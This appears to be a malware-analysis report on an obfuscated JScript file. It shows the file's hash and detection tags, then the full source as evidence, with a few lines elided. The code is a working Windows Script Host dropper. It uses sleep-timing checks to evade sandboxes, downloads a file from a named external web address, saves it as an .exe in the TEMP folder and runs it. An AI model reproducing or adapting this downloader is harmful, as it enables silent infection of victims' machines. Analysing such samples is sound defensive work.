20160328_677b0275be6b85827b9743a43758ecc8.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256fbca4432c2611bd27b59b4a68ec22006a66762407569d8a4dc3168203ececa3d
Evidence
1var Zsfibccf = false;
2var Nyyredvqi = "CreateObject";
3var Lqwdsp = function Zorldlr() {return WScript[Nyyredvqi]("WScript.Shell");}();
4var Kklvicsgvp = 123213;
5var Hmlngj = "MSXML2.XMLHTTP";
6var Lvoazpxy = 2123213;
7var Exypqajpyy = 0;
8function Ttrpqrexpf(Bfartm){Lqwdsp["Run"](Bfartm, Exypqajpyy, Exypqajpyy);};
9function Huenpwtgb(){return Hmlngj;};
10function Spdnsiq(Ydqzembk, Nlituk){return Ydqzembk - Nlituk;};
11function Xvollypmqf(){return Nyyredvqi;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Zsfibccf = true;
15 @end
16@*/
17var Ggaxbqnpyh = "";
18if (Zsfibccf)
19{
20function Qzemubu(){return 22;};
21var Qjlqtcrnf = 0; var Bwteupw = 0;
22function Zcqeccuhta()
23{
24var Dnwypcn = new this["Date"]();
25var Moxannomd = Dnwypcn["getUTCMilliseconds"]();
26WScript["Sleep"](Qzemubu());
27var Dnwypcn = new this["Date"]();
28var Uqrqjl = Dnwypcn["getUTCMilliseconds"]();
29WScript["Sleep"](Qzemubu());
30var Dnwypcn = new this["Date"]();
31var Tthbh = Dnwypcn["getUTCMilliseconds"]();
32var Qjlqtcrnf = "Cchxlb";
33Qjlqtcrnf = Spdnsiq(Uqrqjl, Moxannomd);
34var Bwteupw = "Xuxiku";
35Bwteupw = Spdnsiq(Tthbh, Uqrqjl);
36Ggaxbqnpyh = "open";
37return Spdnsiq(Qjlqtcrnf, Bwteupw);
38}
39var Sgehor = false;
40var Itwwpycs = false;
41for (var Gvwpqan = Exypqajpyy; Gvwpqan < Qzemubu() * 1; Gvwpqan++){if (Zcqeccuhta() != Exypqajpyy){
49:4… (Sgehor && Ouhcs() && Itwwpycs){
50function Wnpxjzafhg() {return Lqwdsp["ExpandEnvironmentStrings"]("%TEMP%/") + "IUxb9zUPXfamBFSF.exe";};
51 Wtctohw = Huenpwtgb();
52 Ruzuietfy = WScript[Nyyredvqi](Wtctohw);
53 var Ppyguiatab = 1;
54 while (Ppyguiatab){
55try {
56Ruzuietfy[Ggaxbqnpyh]("GET", "http://www.suansawanresort.com/n7eua", false);
57Ruzuietfy["send"]();
58Rbeupsb = "Sleep";
59do {WScript[Rbeupsb](Qzemubu() * 11)} while (Ruzuietfy["readystate"] < 4 );
60Ppyguiatab = Exypqajpyy;
61} catch(Poltosbmx){Ppyguiatab = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Chajen(Yawis) {var Flcko = (1, 2, 3, 4, 5, Yawis); return Flcko;};
64Azulb = WScript[Xvollypmqf()]("ADODB.Stream");
65Wtctohw = Azulb;
66Wtctohw[Ggaxbqnpyh]();
67Wtctohw["type"] = Chajen(1);
68Wtctohw["write"](Ruzuietfy["ResponseBody"]);
69Azulb["position"] = Chajen(Exypqajpyy);
70Wtctohw["SaveToFile"](Wnpxjzafhg(), Chajen(2) );
71Azulb["close"]();
72Ttrpqrexpf(Wnpxjzafhg());
73}
74}
75